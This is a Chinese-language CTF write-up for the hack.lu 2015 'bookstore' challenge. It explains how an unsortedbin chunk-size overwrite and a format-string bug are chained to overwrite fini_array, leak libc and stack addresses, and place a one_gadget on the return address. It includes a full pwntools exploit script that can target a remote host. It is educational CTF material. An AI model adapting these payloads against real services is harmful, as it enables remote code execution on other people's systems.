overlapping chunks

溢出对unsortedbin中的chunk->size进行修改,造成堆块重叠。

hack.lu2015 bookstore

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

程序是一个订书系统,在main函数开始处,连续分配3个0x80的空间,一个存储订单1——order1,一个存储订单2——order2,一个存储提示信息——info。有以下功能菜单

1
2
3
4
5
1: Edit order 1
2: Edit order 2
3: Delete order 1
4: Delete order 2
5: Submit

Edit order 1/2:order1/order2使用fgetc读取字符串,读到\n终止,所以这里存在溢出

Delete order 1/2:free掉order1/order2。这里存在指针悬空

Submit: 分配0x140的空间(称为orderlist)将order1和order2拼接。这里存在溢出

程序末尾printf(info)存在可能的格式化字符串漏洞。

overlapping chunks && format string vulnerability

总体思路:释放order2,溢出order1修改order2chunk->size = 0x151。并在order1上布置format string,以泄露libc和stack addr,和修改fini_array为start的地址。第二次format string修改main函数返回地址为one_gadget。

fini_array存储main函数结束后将要执行的函数地址,一般修改为main函数来达到再运行一次的目的。这里我修改为start也可以达到此效果,原本想达到main函数循环执行的效果,可是没有如我的心愿。。。

phase 1

溢出修改unsortedbin中的order2的大小为0x151后,再分配0x140的orderlist,将会出现下图的情况。要想办法将format string精准控制在info开始处。

submit函数中,连接order1后,orderlist1 = "Order 1: " + XXXXXXXX;order2指针悬空,和现在的orderlist指向的地址相同,所以连接order2将出现 orderlist = "Order 1: " + XXXXXX + "\nOrder 2: " + orderlist1。其中长度为9的字符串Order 1: 出现了两次,长度为10的字符串\nOrder 2: 出现了一次,故该函数额外向orderlist中填充了28个字节。

image-20200705205842961

1
2
3
4
5
6
7
8
9
# phase 1
menu(b'4')

# format string: overwrite fini_arrary with start, leak libc and stack
payload = b"%1920x%13$hn...%14$s,,,%28$llx".ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(fini_array) + p64(puts_got))

%1920x%13$hn,使用start地址0x400780,双字节覆盖fini_array,13$取第13个参数,hn控制写入双字节。

%14$s,打印puts_got。

%28$llx,打印stack地址。多次调试可以发现,main函数rbp-0x10处,存在一个与栈地址固定偏移0xf0的栈地址,应该为此前函数遗留。

利用fgets将这些参数传到栈上。

image-20200705212508537

phase 2

调试到第二轮次,计算此前泄露的栈地址与此次main函数返回地址偏移。

将one_gadget地址的低四字节,写到返回地址处,一次一个字节。因为双字节有偶发性printf崩溃,应该是打印长度过长了。(我这里使用的自编译的glibc2.26 without tcache)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
one_gadget = libc_base + 0x40d82
log.debug("one gadget: 0x%x" % one_gadget)
p1 = one_gadget       & 0xff
p2 = (one_gadget>>8)  & 0xff
p3 = (one_gadget>>16) & 0xff
p4 = (one_gadget>>24) & 0xff

part1 = p1
part2 = p2-p1 if p2 > p1 else 256-p1+p2
part3 = p3-p2 if p3 > p2 else 256-p2+p3
part4 = p4-p3 if p4 > p3 else 256-p3+p4

menu(b"4")
payload  = b"%" + str(part1).encode("ascii") + b"x%13$hhn%" + str(part2).encode("ascii") + b"x%14$hhn"
payload += b"%" + str(part3).encode("ascii") + b"x%15$hhn%" + str(part4).encode("ascii") + b"x%16$hhn"
payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+1) + p64(ret_addr+2) + p64(ret_addr+3))

exploit

关于fini_array

LIBC_START_MAIN函数在执行完main函数后,执行exit->__run_exit_handlers,在__run_exit_handlers中调用__call_tls_dtors函数和__exit_funcs函数列表,该列表默认情况下只有dl_fini。结构如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };

struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

image-20200705200936606

其中idx在第一次遍历此列表时就变为0了,而且就算再将该值改为1,也不会再执行fini_array里的函数。后面再dl_fini里面也貌似有个防范多次执行的变量,可是这块过于复杂了对于我,再看下去势必要花不少时间且偏离方向了,日后再说吧。。。

1
2
3
4
5
6
7
// glibc release/2.26/master elf/dl-fini.c _dl_fini(void)

if (l->l_init_called)
{
    /* Make sure nothing happens if we are called twice.  */
    l->l_init_called = 0;
    ...

struct exit_function里存储的指针也经过了指针加密?。

image-20200705202457594

exploit

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="info")
localfile = "./bookstore"
locallibc = "../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so"

def menu(s):
    io.recvuntil("5: Submit\n")
    io.sendline(s)

def exp():
    fini_array = 0x6011B8
    puts_got   = elf.got["puts"]
    free_got   = elf.got["free"]

    # phase 1
    menu(b'4')

    # format string: overwrite fini_arrary with start, leak libc and stack
    payload = b"%1920x%13$hn...%14$s,,,%28$llx".ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
    menu(b"1")
    io.sendline(payload)
    # gdb.attach(io, "b *0x400B09")
    menu(b"5" + p8(0x1)*7 + p64(fini_array) + p64(puts_got))

    # leak libc and stack
    io.recvuntil(b"...")
    io.recvuntil(b"...")
    io.recvuntil(b"...")
    puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
    io.recvuntil(b",,,")
    stack_addr = int(io.recv(12), 16)

    ret_addr = stack_addr - 0x288
    libc_base = puts_addr - libc.sym["puts"]

#########################################################
#   fail when part1 + part2 is too big (possible reason...
#########################################################
    # one_gadget = libc_base + 0x40d82
    # part1 =  one_gadget      % (1<<16)
    # part2 = (one_gadget>>16) % (1<<16)
    # log.debug("0x%x" % part1)
    # log.debug("0x%x" % part2)
    # if part2 > part1:
    #     part2 = part2 - part1
    # else:
    #     part2 = part2 + ((1<<16)-part1)

    # log.debug("0x%x" % part1)
    # log.debug("0x%x" % part2)

    # log.debug("ret addr: 0x%x" % ret_addr)
    # log.debug("one gadget: 0x%x" % one_gadget)
    
    # # phase 2
    # menu(b'4')
    # payload = b"%" + str(part1).encode("ascii") + b"x%13$hn" + b"%" + str(part2).encode("ascii") + b"x%14$hn"
    # payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
    # menu(b"1")
    # io.sendline(payload)
    # # gdb.attach(io, "b *0x400B09")
    # menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+2))

    one_gadget = libc_base + 0x40d82
    log.debug("one gadget: 0x%x" % one_gadget)
    p1 = one_gadget       & 0xff
    p2 = (one_gadget>>8)  & 0xff
    p3 = (one_gadget>>16) & 0xff
    p4 = (one_gadget>>24) & 0xff

    part1 = p1
    part2 = p2-p1 if p2 > p1 else 256-p1+p2
    part3 = p3-p2 if p3 > p2 else 256-p2+p3
    part4 = p4-p3 if p4 > p3 else 256-p3+p4

    menu(b"4")
    payload  = b"%" + str(part1).encode("ascii") + b"x%13$hhn%" + str(part2).encode("ascii") + b"x%14$hhn"
    payload += b"%" + str(part3).encode("ascii") + b"x%15$hhn%" + str(part4).encode("ascii") + b"x%16$hhn"
    payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
    menu(b"1")
    io.sendline(payload)
    # gdb.attach(io, "b *0x400B09")
    menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+1) + p64(ret_addr+2) + p64(ret_addr+3))

    io.interactive()




argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

Reference

  1. how2heap overlapping chunks
  2. https://bbs.pediy.com/thread-246783.htm